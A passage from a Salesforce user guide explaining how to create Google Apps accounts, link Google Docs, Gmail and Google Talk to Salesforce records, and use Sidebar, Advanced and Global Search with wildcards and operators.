Creating Google Apps Accounts

300

Salesforce for Google Apps

Creating Google Apps Accounts

Available in: All Editions except Database.com

User Permissions Needed Export users to Google: Create new Google Apps accounts: Customize Application Google Apps administrator

After creating a Google Apps account for your organization and enabling Google Apps in Salesforce, you can create Google Apps accounts for individual users. To access the Google Apps services that are enabled in Salesforce, each user needs a Google Apps account on the domain your organization registered with Google. An account includes a username and password that allow the user to log into all Google Apps services. Note: If your organization purchased Salesforce and Google Apps Supported, the number of Google Apps Premier Edition accounts you can create is limited to the number of licenses your organization purchased. To export a list of users to Google and create Google Apps accounts for each user: 1. Click Your Name > Setup > Manage Users > Users. 2. In the View drop-down list, choose a list of users. To create a custom list view, see Creating Custom List Views on page 241. 3. Click Export to Google Apps to export all the users in the list. To export certain users only, select those users in the Action column. Note: If Google Apps is not enabled for your organization, the Export to Google Apps button does not display. To enable Google Apps in Salesforce, see Getting Started with Salesforce and Google Apps on page 294. 4. On the Export Users to Google Apps page, click the export file link that is labeled as Step 1. The name of the link depends on the list view you chose to export; for example, if you were viewing the All Users list, the link on the Export Users to Google Apps page is All Users Export File. 5. In the CSV spreadsheet that displays when click you the export link, provide a temporary password for each user. You can modify the username, last name, and first name fields for any user as needed. Google creates account names by adding your domain to the usernames in the spreadsheet; for example, if your domain is acme.com and the spreadsheet contains john.doe and jane.doe usernames, the Google Apps usernames are john.doe@acme.com and jane.doe@acme.com. 6. Save the spreadsheet to your computer. 7. Click the Google Apps Bulk User Import Tool link to launch the Bulk Account Update page for your organization's Google Apps account. If prompted, log in with your Google Apps administrator username. Only the user who is registered with Google as the administrator of your organization's account can create additional Google Apps accounts on your organization's domain. 8. Follow Google's instructions to import the data in the spreadsheet. The Google Apps administrator receives a confirmation report, and the user for each successfully created account receives a notification email at his or her new Gmail account..

301

Salesforce for Google Apps

Using Google Docs in Salesforce

9. Notify users of their usernames and passwords. They will need this information to use any Google Apps service that is enabled in Salesforce.

See Also:
Google Apps Overview Getting Started with Salesforce and Google Apps

Using Google Docs in Salesforce


Available in: All Editions except Database.com

User Permissions Needed Activating the Add Google Docs to Salesforce service: Activating the Google Docs tab: Using Google Docs in Salesforce Customize Application Customize Application Read on the appropriate record type AND Google Apps account

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. Use Google Docs to create and share on-demand documents, presentations, and spreadsheets (Google docs) and see your changes in real time as you collaborate with other users. Because your content is stored within Google, there is no need to manage versions or send attachments by emailsimply log in with your Google Apps account and view the current document or its revision history. Salesforce and Google Apps allows you to integrate Google Docs with Salesforce in three ways: Access the Docs home page using a Salesforce tabThe Docs home page in your Google Apps account lists all the Google documents, presentations, and spreadsheets that you have created or that other Google Apps users have shared with you. If the Google Docs tab is activated, you can access your Docs home page without leaving Salesforce. Associate Google docs with Salesforce recordsFrom the Docs home page you can associate a Google doc with Salesforce records by using the Add Google Doc to Salesforce browser button. You can also create, edit, or delete Google doc associations on any Salesforce record by using the Google Docs, Notes, & Attachments or Google Docs & Attachments related lists. Use Salesforce CRM Content to manage your Google Docs If Salesforce CRM Content is enabled, you can use the Contribute tab or the Add Google Doc to Salesforce browser button to add Google docs to your libraries. Including Google docs in Salesforce CRM Content allows you to manage all types of content in a centralized location.

302

Salesforce for Google Apps

Activating Google Docs in Salesforce

For information about Google Docs, refer to Google's online help.

See Also:
Activating the Google Docs Tab Activating Google Docs in Salesforce Adding Google Docs to Salesforce Installing the Add Google Doc to Salesforce Browser Button

Activating Google Docs in Salesforce


Available in: Contact Manager, Group, Professional,Enterprise,Unlimited, and Developer Editions

User Permissions Needed Activating the Add Google Docs to Salesforce service: Customize Application

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. Important: Once you activate a Google Apps service in Salesforce, it is visible to all users in your organization. To use these services, your users must have Google Apps accounts on your domain. For more information, see Getting Started with Salesforce and Google Apps on page 294. Google Docs allows you to create on-demand documents, spreadsheets, and presentations, edit them in your browser, and work together in real time with other collaborators. To activate or deactivate the Add Google Docs to Salesforce service: 1. 2. 3. 4. Click Your Name > Setup > Google Apps > Settings. Click Edit next to the Add Google Docs to Salesforce option in the Activate Google Apps Services list. Select or deselect the Activate checkbox. If you are activating the Add Google Docs to Salesforce service, read the Terms of Use and select the checkbox indicating you agree to the Terms of Use. 5. Click Save. When the Add Google Docs to Salesforce service is enabled, the following changes allow users to create, edit, or view Google docs and associate them with Salesforce records: The Notes & Attachments related list on accounts, assets, contacts, contracts, leads, opportunities, products, and custom objects is renamed to Google Docs, Notes, & Attachments. The Attachments related list on cases, solutions, and campaigns is renamed to Google Docs & Attachments. If Salesforce CRM Content is enabled, the Libraries tab has an Add Google Doc drop-down list.

Users can also install the Add Google Doc to Salesforce browser button, which allows them to associate a Google doc to several Salesforce records or a Salesforce CRM Content library without being logged into Salesforce. For more information

303

Salesforce for Google Apps

Adding Google Docs to Salesforce

see Installing the Add Google Doc to Salesforce Browser Button on page 308 and Adding Google Docs to Salesforce on page 304.

Implementation Tips
For information about Google Docs, refer to Google's online help. By default, Google Docs users on your domain can share their Google docs with Google Apps accounts outside your domain. The control panel in your Google Apps account contains sharing settings that enable you to restrict document sharing to users within your organization's domain. Customer Portal and partner portal users with access to the Contribute tab in Salesforce CRM Content can create new Google docs and associate existing Google docs to a Salesforce library. Portal users without access to Salesforce CRM Content can associate an existing Google doc to a record, but they cannot create new Google docs from within a record because they do not have access to the Google Docs, Notes, and Attachments related list in the portal. Portal users cannot use the Add Google Doc to Salesforce browser button. When the Add Google Docs to Salesforce service is deactivated, Google docs cannot be accessed from Salesforce records ,and any Google docs in users' Recycle Bins that were deleted from a record are permanently removed from Salesforce. If the Add Google Docs to Salesforce service is reactivated within 30 days, Google docs that were associated with Salesforce records before the deactivation are restored to their previous location. Deactivating the Add Google Docs to Salesforce service does not affect Google docs in Salesforce CRM Content libraries; deactivation does not remove Google docs associations in libraries and does not permanently delete Google docs in Recycle Bins. The Add Google Docs to Salesforce service cannot be disabled for your organization if Google docs are referenced in an Apex script. For more information, see Apex Code Overview on page 1825. Google docs count against data storage. For each Google doc associated with a record or library in Salesforce, two Kb of storage is used.

See Also:
Adding Google Docs to Salesforce Installing the Add Google Doc to Salesforce Browser Button

Adding Google Docs to Salesforce


Available in: All Editions except Database.com

User Permissions Needed Creating a Google doc and linking it to Salesforce records: Read on the appropriate record type AND Google Apps account

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand.

304

Salesforce for Google Apps

Adding Google Docs to Salesforce

Note: To use a Google Apps service in Salesforce, you must be logged in to your Google Apps business account. Business accounts use your organization's domain; for example, john.doe@company.com. If you are unsure of your Google Apps username and password, contact your administrator. Salesforce offers three methods for creating new Google docs and associating them with Salesforce records: You can create a Google doc from any detail page. The doc is automatically associated with the record and is visible to anyone with access to both the record and the Google doc. You can create a Google doc from the Docs home page in your Google Apps account and associate the doc to one or more Salesforce records or Salesforce CRM Content libraries using the Add Google Doc to Salesforce browser button. If Salesforce CRM Content is enabled, you can create a Google doc from the Contribute tab to associate it with a Salesforce CRM Content library. Tip: For information about using Google Docs, refer to Google's online help.

Adding New Google Docs to a Salesforce Record


1. Display the record you want linked to the new Google doc. 2. On the Google Docs, Notes, & Attachments related list or the Google Docs & Attachments related list, click Add Google Doc and choose New Document, New Spreadsheet, or New Presentation. 3. To create a blank Google doc: a. After choosing a doc type from the Add Google Doc drop-down button, choose Create as a blank document, Create as a blank spreadsheet, or Create as a blank presentation. The name of the radio button depends on which type of Google doc you chose to create. b. Enter a name for the document, spreadsheet, or presentation. c. Click Create Google Doc. The blank document displays with the name you assigned. You can begin editing your doc; it is automatically associated with the selected record. Tip: While you have your Google doc open, remember to share it with other Google Apps users in your organization. Only users with access to the Google doc in their Google Apps account can view the doc from the record detail page. 4. To create a new Google doc by converting another file format to Google Docs: a. After choosing a doc type from the Add Google Doc drop-down button, choose Create using an existing file. b. Select the file you want to convert. Salesforce can convert the following file types to Google docs: Microsoft Word (doc), text (txt), rich text format (rtf), OpenDocument text (odt), or StarOffice document (swx) files up to 500 KB each Microsoft Excel (xls), comma-separated value (csv), or OpenDocument spreadsheet (ots) files up to 1 MB each Note: If commas are not appropriate for your locale, use a tab or other delimiter.

Microsoft PowerPoint (ppt or pps) files up to 10 MB each

c. Enter a name for the document, spreadsheet, or presentation. d. Click Create Google Doc. The file you uploaded is converted to a Google document, presentation, or spreadsheet. You can begin editing your doc; it is automatically associated with the selected record.

305

Salesforce for Google Apps

Adding Google Docs to Salesforce

Tip: While you have your Google doc open, remember to share it with other Google Apps users in your organization. Only users with access to the Google doc in their Google Apps account can view the doc from the record detail page.

To link an existing Google doc to a record, see Editing Google Doc Links on page 307.

Creating Google Docs from the Docs Home Page


The Docs home page in your Google Apps account lists all the Google docs you have created with your Google Apps account or that other users have shared with your account. You can access the Docs home page by logging into your Google Apps account and navigating to the Docs home page. Tip: As a shortcut, you can display the Docs home page in Salesforce if the Google Docs tab is enabled.

If the Add Google Doc to Salesforce browser button is installed in your browser, create a Google doc and click the browser button to associate the Google doc with Salesforce records or libraries. For more information, see Associating Google Docs with Salesforce Records on page 309.

Adding New Google Docs to a Salesforce CRM Content Library


Create a new Google doc and publish it into a library, sharing that document with other members of that library. 1. On the Libraries tab, choose New Document, New Spreadsheet, or New Presentation from the Add Google Doc drop-down button. You may be prompted to log in to Google Apps. 2. Enter a name for your document, spreadsheet, or presentation and click Create Google Doc. The blank Google doc opens and you can begin adding your text. The Save or Publish Content dialog in Salesforce CRM Content also opens. 3. In the Save or Publish Content dialog: a. Optionally, provide a description of your Google doc. The description provides at-a-glance information for users who view the doc's content details page in Salesforce CRM Content. b. Choose a library. If you do not want to put the doc in a public library, for example if the doc is still in progress, choose Save in my personal library. c. Optionally, choose a language. The Language drop-down list is displayed if multi-language support is enabled. If you do not choose a language, Salesforce CRM Content associates your content with your personal language setting. If users restrict their content searches to a particular language, only content associated with that language is displayed in the search result set. d. To publish the content on behalf of another author, choose that author from the drop-down list. e. Tag your content. Your tagging permission depends on the tagging rule assigned to the library: If the library does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter tags in the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent Tags list and the Popular Tags section on the Libraries tab. The My Recent Tags list on the Contribute window shows the 20 tags you have used most recently. Click a tag to add it to the Tags field automatically. If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new tag. Click a suggested tag to add it to the Tags field automatically. If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When you select a tag it turns green. You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag. Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase letters. The case of the original tag is always used.

306

Salesforce for Google Apps

Editing Google Doc Links

f. If multiple content types are available, choose one from the drop-down list. The content type determines which custom fields appear for you to categorize and define your content. g. After completing any custom fields, click Publish to save the Google doc to its Salesforce CRM Content library, or click Cancel to save the doc to your personal library. From there you can delete the doc from Salesforce CRM Content or publish it later. Once a Google doc is published in Salesforce CRM Content, all library members can search for the doc and provide feedback such as comments and votes. Note: While you have your Google doc open, remember to share it with other Google Apps users in your organization. Only users with access to the Google doc in their Google Apps account can open the doc from Salesforce CRM Content.

See Also:
Using Google Docs in Salesforce Installing the Add Google Doc to Salesforce Browser Button

Editing Google Doc Links


Available in: All Editions except Database.com

User Permissions Needed Editing Google doc links: Read on the appropriate record type AND Google Apps account

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. Note: To use a Google Apps service in Salesforce, you must be logged in to your Google Apps business account. Business accounts use your organization's domain; for example, john.doe@company.com. If you are unsure of your Google Apps username and password, contact your administrator. You can associate an existing Google doc with a Salesforce record by adding the name and URL of that Google doc to the record. An existing Google doc is one that you already have access to on your Google Apps account but is not already associated with the record you are viewing. Note: To add an existing Google doc to a Salesforce CRM Content library, see Contributing Google Docs to Salesforce CRM Content on page 273. To add an existing Google doc to a record: 1. Display the record you want to associate with the Google doc. 2. On the Google Docs, Notes, & Attachments or Google Docs & Attachments related list, click Add Google Doc and choose Add Existing.

307

Salesforce for Google Apps

Installing the Add Google Doc to Salesforce Browser Button

3. Enter a Name for the Google doc and its URL. 4. Click Save. Tip: You can find the URL by clicking Take me to Google Docs.

Once a Google doc is associated with a Salesforce record, clicking Edit next to that doc on the Google Docs, Notes, & Attachments or Google Docs & Attachments related list displays the Add Existing Google Doc page. Modify the Name and URL as needed. Tip: For information about using Google Docs, refer to Google's online help.

See Also:
Using Google Docs in Salesforce Adding Google Docs to Salesforce Installing the Add Google Doc to Salesforce Browser Button

Installing the Add Google Doc to Salesforce Browser Button


Available in: All Editions except Database.com

A browser button is an applet, or small computer application, that provides one-click functionality similar to a bookmark. The Add Google Doc to Salesforce browser button allows you to associate a Google doc with several Salesforce records at once, even when you are not working in Salesforce. To use this browser button, the Add Google Doc to Salesforce service must be enabled and you must install the browser button in your browser. You can access the Add Google Doc to Salesforce browser button on the Contribute tab in Salesforce CRM Content or on a record detail page: 1. Display any record in Salesforce that has a Google Docs, Notes, & Attachments or Google Docs & Attachments related list on the record detail page. 2. Choose Add Existing from the Add Google Doc drop-down button in the Google Docs, Notes, & Attachments or Google Docs & Attachments related list. If the related list contains a Google doc, you can also click Edit next to the Google doc. 3. Click Get the browser button at the bottom of the page. Note: Because Customer Portal and partner portal users do not have access to the Google Docs, Notes, & Attachments or Google Docs & Attachments related list in the portal, portal users can only obtain the browser button from the Contribute tab in Salesforce CRM Content. If you use more than one type of browser, for example Microsoft Internet Explorer and Mozilla Firefox, install the browser button in each browser. The instructions for installing the browser button depend on your browser. In Firefox, drag the browser button to your Bookmarks Toolbar. In Apple Safari, drag the browser button to your Bookmark Bar. In Internet Explorer:

308

Salesforce for Google Apps

Associating Google Docs with Salesforce Records

Note: The instructions may vary slightly based on your version of Internet Explorer.

1. 2. 3. 4.

Right-click the browser button and choose Add to Favorites... from the Add Google Doc to Salesforce page. Save the browser button in the Links folder and click Add. In your browser menu bar, click View > Toolbars and ensure that the Links toolbar is visible. Close and restart your browser. The browser button displays in your Links toolbar. Note: If you change your personal language setting in Salesforce and want to change the language on the browser button also, you must delete and reinstall the browser button.

See Also:
Adding Google Docs to Salesforce Associating Google Docs with Salesforce Records

Associating Google Docs with Salesforce Records


Available in: All Editions except Database.com

User Permissions Needed Associating a Google doc with a Salesforce record: Read on the appropriate record type AND Google Apps account

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. When you create, edit, or view a Google doc from your online Docs home page in your Google Apps account, click the Add Google Doc to Salesforce browser button to associate the Google doc with one or more Salesforce records. If Salesforce CRM Content is enabled in your organization, you can also add the Google doc to a Salesforce CRM Content library. Including Google docs in Salesforce CRM Content allows users to access all types of content from a single location and apply Salesforce CRM Content functionality, such as votes, comments, and subscriptions, toGoogle docs. To associate a Google doc with Salesforce records from the Docs home page: 1. 2. 3. 4. 5. Open a Google doc. Click the Add Google Doc to Salesforce browser button. In the Add Google Doc To field, enter your search criteria for the Salesforce record. Select an object type from the drop-down list and click Search. Optionally, filter your search results with the Limit to items I own checkbox.

309

Salesforce for Google Apps

Associating Google Docs with Salesforce Records

6. In the search results, select one or more records and click Add Google Doc to Selected Records. You can also click any of the fields in the search-results list to view more information about the record(s). To associate a Google doc with Salesforce CRM Content from the Docs home page: 1. Open a Google doc. 2. Click the Add Google Doc to Salesforce browser button. 3. In the Salesforce CRM Content message window at the top of the page, click Publish your Google Doc into Salesforce CRM Content. The message only displays if you are a member of a Salesforce CRM Content library and have a library permission that allows you to contribute content. 4. In the Describe and Publish window, add a title for your Google doc and, optionally, a description. 5. Choose a library. 6. Optionally, choose a language. The Language drop-down list is displayed if multi-language support is enabled. If you do not choose a language, Salesforce CRM Content associates your content with your personal language setting. If users restrict their content searches to a particular language, only content associated with that language is displayed in the search result set. 7. To publish the content on behalf of another author, choose that author from the drop-down list. 8. Tag your content. Your tagging permission depends on the tagging rule assigned to the library: If the library does not have a tagging rule or if your administrator assigned the open tagging rule, you can enter tags in the Tags field. As you type a tag, Salesforce CRM Content autosuggests tags based on your My Recent Tags list and the Popular Tags section on the Libraries tab. The My Recent Tags list on the Contribute window shows the 20 tags you have used most recently. Click a tag to add it to the Tags field automatically. If your administrator assigned the guided tagging rule, you can choose from the list of suggested tags or enter a new tag. Click a suggested tag to add it to the Tags field automatically. If your administrator assigned the restricted tagging rule, you must choose from the list of suggested tags. When you select a tag it turns green. You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag. Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase letters. The case of the original tag is always used.

9. If multiple content types are available, choose one from the drop-down list. The content type determines which custom fields appear for you to categorize and define your content. 10. After completing any custom fields, click Publish. All library members can now search for this doc and provide feedback such as comments and votes. Note: While your Google doc is open, remember to share it with other Google Apps users in your organization. Only Google Apps users with whom the doc is shared can view and edit the doc.

See Also:
Using Google Docs in Salesforce Adding Google Docs to Salesforce Google Apps Overview

Activating the Google Docs Tab


310

Salesforce for Google Apps

Activating the Google Docs Tab

Available in: All Editions except Database.com

User Permissions Needed Activating or deactivating the Google Docs tab: Customize Application

Important: Once you activate a Google Apps service in Salesforce, it is visible to all users in your organization. To use these services, your users must have Google Apps accounts on your domain. For more information, see Getting Started with Salesforce and Google Apps on page 294. Google Docs allows you to create on-demand documents, spreadsheets, and presentations, edit them in your browser, and work together in real time with other collaborators. The Google Docs tab in Salesforce hosts the Docs home page for each user's Google Apps account, allowing users to view and manage all their Google docs from within Salesforce. If the Add Google Doc to Salesforce service is also activated, users can install a browser button that enables them to easily associate Google docs with Salesforce records from the Google Docs tab. To activate or deactivate the Google Docs tab in Salesforce: 1. 2. 3. 4. Click Your Name > Setup > Google Apps > Settings. Click Edit next to the Google Docs Tab option in the Activate Google Apps Services list. Select or deselect the Activate checkbox. If you are activating the Google Docs tab, read the Terms of Use and select the checkbox indicating you agree to the Terms of Use. 5. Click Save.

See Also:
Using Google Docs in Salesforce Installing the Add Google Doc to Salesforce Browser Button Adding Google Docs to Salesforce

Using Gmail in Salesforce


Available in: All Editions except Database.com

User Permissions Needed Activating Gmail in Salesforce: Customize Application

Important: Once you activate a Google Apps service in Salesforce, it is visible to all users in your organization. To use these services, your users must have Google Apps accounts on your domain. For more information, see Getting Started with Salesforce and Google Apps on page 294.

311

Salesforce for Google Apps

Using Gmail in Salesforce

Gmail (also called Google Mail) is a free Web-based email service from Google that operates on all standard browsers and can be used with your company's domain. You can integrate Gmail with Salesforce in two ways: Gmail to Salesforce Gmail Buttons and Links

Gmail to Salesforce
Gmail to Salesforce allows you to automatically log emails and chats you send from your Gmail account as activities on lead, contact, opportunity, and other records that support activity history in Salesforce. Gmail to Salesforce is based on the Email to Salesforce feature. To activate Gmail to Salesforce for your organization, follow the instructions in Enabling Email to Salesforce on page 949. To configure your personal Gmail to Salesforce setup, follow the instructions in Guidelines on Using Email to Salesforce on page 238.

Gmail Buttons and Links


Gmail Buttons and Links adds Gmail links next to email fields on all records and adds Compose Gmail buttons in Activity History related lists on leads and contacts. When you click a Gmail link or the Compose Gmail button, Salesforce automatically logs you into your Gmail account and automatically populates the To field. If Gmail to Salesforce is activated, Salesforce also populates the BCC field with your Email to Salesforce address. To activate Gmail Buttons and Links: 1. 2. 3. 4. 5. Click Your Name > Setup > Google Apps > Settings. In the Activate Google Apps Services list, click Edit next to Gmail Buttons and Links. Select the Active checkbox to activate Gmail Buttons and Links for your organization. Select the Gmail Links checkbox to add Gmail links next to all email fields (except email fields on pages under Setup). Select the Gmail Buttons checkbox to add Compose Gmail buttons in Activity History related lists on leads and contacts. 6. Read the Terms of Use, and select the checkbox indicating you have read and agree to them. 7. Click Save.

Implementation Notes
If your organization enables Gmail Buttons and Links but does not enable Gmail to Salesforce, you can still use the Gmail links on contact and lead records; however, Salesforce does not log emails you send from your Gmail account, or automatically populate the BCC field on the Compose Mail screen with an Email to Salesforce address. For information about Gmail, refer to Google's online help.

See Also:
Google Apps Overview

Using Google Talk in Salesforce

312

Salesforce for Google Apps

Using Google Talk in Salesforce

Available in: All Editions except Database.com

User Permissions Needed Activating or deactivating Google Talk: Customize Application

Important: Once you activate a Google Apps service in Salesforce, it is visible to all users in your organization. To use these services, your users must have Google Apps accounts on your domain. For more information, see Getting Started with Salesforce and Google Apps on page 294. Google Talk is Google's instant-messaging tool. When the Google Talk Sidebar Component is activated in Salesforce, Google Talk displays in the sidebar where it can be toggled on, off, or expanded into its own window. You can also log a chat record as an activity on a Salesforce lead or contact record.

Activating Google Talk


To activate or deactivate Google Talk in Salesforce: 1. 2. 3. 4. Click Your Name > Setup > Google Apps > Settings. Click Edit next to the Google Talk Sidebar Component option in the Activate Google Apps Services list. Select or deselect the Active checkbox. If you are activating the Google Talk Sidebar Component, read the Terms of Use and select the checkbox indicating you agree to the Terms of Use. 5. Click Save.

Tips for Using Google Talk


For information about using Google Talk, refer to Google's online help. Google Talk appears in both standard and custom sidebar layouts on all tabs. Because Google Talk chats are automatically saved in Gmail, users with Email to Salesforce can log a Google Talk chat as an activity on a lead or contact. For more information see Using Gmail in Salesforce on page 311. When Google Talk is in the sidebar, refreshing a Salesforce page causes Google Talk to momentarily disconnect and reconnect. For longer chats, open Google Talk in its own window by clicking pop out next to the Google Talk sidebar component. Google Talk is not available for Customer Portal or partner portal users.

See Also:
Google Apps Overview Setting Up Google Apps in Salesforce

313

Search and Tags

Search Overview

SEARCH AND TAGS


Search Overview
Available in: All Editions except Database.com

Search for salesforce.com records and tags using: Sidebar Search From the sidebar search box you can search a subset of objects and fields. You can use wildcards and filters to refine your search. Advanced Search Click Advanced Search... in the sidebar to search a subset of objects in combination and more fields than Sidebar Search, including custom fields and long text fields such as descriptions, notes, and task and event comments. You can use wildcards, operators, and filters to refine your search. Global Search From the header search box you can search more objects than Sidebar Search and Advanced Search, including articles, documents, products, solutions, and Chatter feeds, files, groups, and people. You can also search more fields than Sidebar Search , including custom fields, and long text fields such as descriptions, notes, and task and event comments. You can use wildcards, operators, and filters to refine your search. You must enable Chatter to enable Global Search. Note: If Global Search is enabled, Sidebar Search and Advanced Search aren't enabled.

Global Search is not supported in partner portal or Customer Portal. Only users with supported browsers can use Global Search.

Other Search Utilities


Some objects have unique search utilities on their tabs. Global Search results include these objects with the exception of Article Management and Salesforce CRM Content. Neither Sidebar Search nor Advanced Search can find these objects; use the search feature on the tab to find them. Solutions Documents Salesforce CRM Content Products Articles

314

Search and Tags

How Search Works

Article Management Tip: Your administrator can customize your Home tab to include the product, document, or solution search in the sidebar.

See Also:
How Search Works Searching in Salesforce.com Refining Search Browsing, Searching, and Managing Tags Customizing Search Settings Customizing Search Layouts

How Search Works


Available in: All Editions except Database.com

Search uses custom algorithms that consider: Your search terms Ignored words in search terms (for example, the, to, and for) Search term stems (for example, searching for speaking returns items with speak) Proximity of search terms in a record Record ownership Most recently accessed records

You might not have the same search results as another user performing the same search because searches are configured for the user performing the search. For example, if you recently viewed a record, the record relevancy increases and the record moves higher in your search results list. Records you own also move higher in your search results. How your search works depends on whether you're using Sidebar, Advanced, or Global Search.

See Also:
Search Overview Searching in Salesforce.com Refining Search Search Fields

How Sidebar Search Works

315

Search and Tags

How Search Works

Available in: All Editions except Database.com

How your Sidebar Search works depends on your search options, search terms, and the use of wildcards. Search Options Sidebar Search searches only a subset of records and fields, including name, phone, email, and standard address fields. If the Sidebar Search drop-down list is available, you can limit your search to only tags or the records for a single object. If the Sidebar Search Limit to items I own checkbox is available, you can select this box to limit your search to records for which you are the owner. Search Terms Searches are conducted as a phrase search and match terms in the exact sequence that they appear. For example, searching for bob jones returns items with Bob Jones, but not Bobby Jones or Bob T Jones. Likewise, searching for acct!4 only returns items with acct!4 in a single string. Wildcards and Operators You can use the * (asterisk) and ? (question mark) wildcards to refine results. Use * to match one or more characters, or ? to match a single character. An * is automatically appended to your search string. For example, searching for bob jo finds items with Bob Jones and Bob Johnson, and searching for jo?n finds items with john and joan. You can't use operators to refine results in Sidebar Search.

See Also:
Searching in Salesforce.com Refining Search Search Results

How Advanced Search Works


Available in: All Editions except Database.com

How your Advanced Search works depends on your search options, search terms, and the use of wildcards and operators. Search Options Advanced Search searches more record types and fields than Sidebar Search, including attachments, custom fields, and long text fields such as descriptions, notes, and task and event comments. Select Limit to items I own to limit your search to records for which you are the owner, including case comments and reports that you created. Click Advanced Search... and choose one or more objects by which to limit your search. You can also restrict your search to divisions, if your organization uses them.

316

Search and Tags

How Search Works

Search Terms Search terms are treated as separate words and may be found in different searchable fields within a record. For example, searching for bob jones returns items with Bob Jones, as well as a contact named Bob Smith whose email address is bsmith@jones.com. Search terms are separated by letter, number, and punctuation boundaries. For example, searching for acct!4 returns items with Acct, !, and 4, even if those terms are in separate places in the item. Wildcards and Operators You can use the * (asterisk) and ? (question mark) wildcards to refine results. Use * to match one or more characters, or ? to match a single character. For example, searching for bob jo* finds items with Bob Jones and Bob Johnson, and searching for jo?n finds items with john and joan. You can also use the AND, OR, AND NOT, ( ) (parentheses), and " " (quotation marks) operators to refine results.

See Also:
Searching in Salesforce.com Refining Search Search Results

How Global Search Works


Available in: All Editions except Database.com

How your Global Search works depends on your search options, search terms, and the use of wildcards and operators. Search Options Global Search searches more record types, including articles, documents, products, solutions, and Chatter feeds, files, groups, and people. Global Search also searches more field types, including custom fields and long text fields such as descriptions, notes, and task and event comments. Search options let you choose one or more items, including tags and specific objects, by which to limit your search. You can also restrict your search to records for which you are the owner and to divisions, if your organization uses them. The search options you select are saved until you change them. Note: Chatter feed searches aren't limited to your selected search options; Chatter feed search results include matches across all objects. Search options aren't available to Chatter Free users. Search Terms Search terms are treated as separate words and may be found in different searchable fields within a record. For example, searching for bob jones returns items with Bob Jones, as well as a contact named Bob Smith whose email address is bsmith@jones.com.

317

Search and Tags

Searching in Salesforce.com

Search terms are separated by letter, number, and punctuation boundaries. For example, searching for acct!4 returns items with Acct, !, and 4, even if those terms are in separate places in the item. Tip: If you'd like to conduct a phrase search to match multiple terms in the exact sequence that they appear, select Exact phrase in the Search Options or use quotations marks around your search terms.

Wildcards and Operators You can use the * (asterisk) and ? (question mark) wildcards to refine results. Use * to match one or more characters, or ? to match a single character. For example, searching for bob jo* finds items with Bob Jones and Bob Johnson, and searching for jo?n finds items with john and joan. You can also use the AND, OR, AND NOT, ( ) (parentheses), and " " (quotation marks) operators to refine results.

See Also:
Searching in Salesforce.com Refining Search Search Results

Searching in Salesforce.com
Available in: All Editions except Database.com

You can change search options before or after your search. 1. Enter your search terms in the sidebar or header search box. 2. Click Search (or Go! if you're using Sidebar Search).

Tips for Searching in Salesforce


Your search term must have two or more characters. Special characters, such as " ? * ( ), aren't included in the character count. For example, a search for (a) won't return any search results. Search isn't case-sensitive. For example, a search for california finds the same items as a search for California. Find phone numbers by entering part or all of a number. For example, to find (415) 999-3434, enter 4159993434, 999, or 3434. To search for the last seven digits, you must enter the punctuation, such as 999-3434. In Chinese, Japanese, and Korean, you can find a person by entering last name before first name; searching for jones bob returns any person named Bob Jones. If you're using Advanced Search or Global Search, refine your search using operators such as AND, OR, and AND NOT. If you're using Advanced Search or Global Search, search for exact phrases by putting quotation marks around multiple keywords, for example, "call john smith" finds items with call john smith, but not items with call john p. smith or john smith called. If you're using Sidebar Search, your search string is automatically treated as a phrase search. Search for partially matching terms using wildcards. Asterisks match one or more characters at the middle or end (not the beginning) of your search term. For example, a search for john* finds items that start with variations on the term john, such as, johnson or johnny. A search for mi* meyers finds items with mike meyers or michael meyers. If you're using Sidebar Search, an * is automatically appended to the end of the search string.

318

Search and Tags

Refining Search

Question marks match only one character in the middle or end (not the beginning) of your search term. For example, a search for jo?n finds items with the term john or joan but not jon or johan. If you're using Global Search, the ? is removed from the end of your search term and isn't treated as a wildcard.

See Also:
Search Overview How Search Works Refining Search Search Fields

Refining Search
Available in: All Editions except Database.com

Improve your search results by: Changing search options Sidebar Search Advanced Search Global Search Using wildcards Using operators, if you're using Advanced Search or Global Search

See Also:
Search Overview How Search Works Searching in Salesforce.com Search Results

Changing Sidebar Search Options


Available in: All Editions except Database.com

Refine your search results by: Choosing which objects to search If the Sidebar Search drop-down list is available, you can limit your search to a single object. In the drop-down list, select the object you want. Select Search All to search across all objects.

319

Search and Tags

Refining Search

Note: When all objects are selected, the search results don't return article, article management, content, document, product, and solution records. You can search for these records on their respective tabs.

Searching only items you own If the Limit to items I own checkbox is available, you can search only items for which you are the owner, including case comments and reports that you created. Note: When Limit to items I own is selected, the search results don't return asset, idea, invoice, order, question, quote, reply, and user records because these records don't have owners.

Searching within a division If you have the Affected by Divisions permission, specify which divisions you want to search. If your organization uses divisions but you don't have the Affected by Divisions permission, your search results include records in all divisions. If you restrict your search options, the options you select appear under the search box on the Search Results page.

See Also:
How Search Works Searching in Salesforce.com Search Results

Changing Advanced Search Scope


Available in: All Editions except Database.com

1. Click Advanced Search... in the sidebar. 2. Refine your search results by: Searching only items you own In the Advanced Options section, select Limit to items I own. Note: When Limit to items I own is selected, the search results don't return asset, idea, invoice, order, question, quote, reply, and user records because these records don't have owners.

Searching for an exact phrase In the Advanced Options section, select Exact phrase. This is the same as using quotation marks around your search string. Searching within a division If you have the Affected by Divisions permission, specify which divisions you want to search. If your organization uses divisions but you don't have the Affected by Divisions permission, your search results include records in all divisions.

320

Search and Tags

Refining Search

Choosing which objects to search In the Scope section, select the objects for which you want to return search results. If you don't select any objects, your search returns all possible objects. Click Select All or Deselect All to quickly select all or no objects. Note: When all objects are selected, the search results don't return article, article management, content, document, product, and solution records. You can search for these records on their respective tabs.

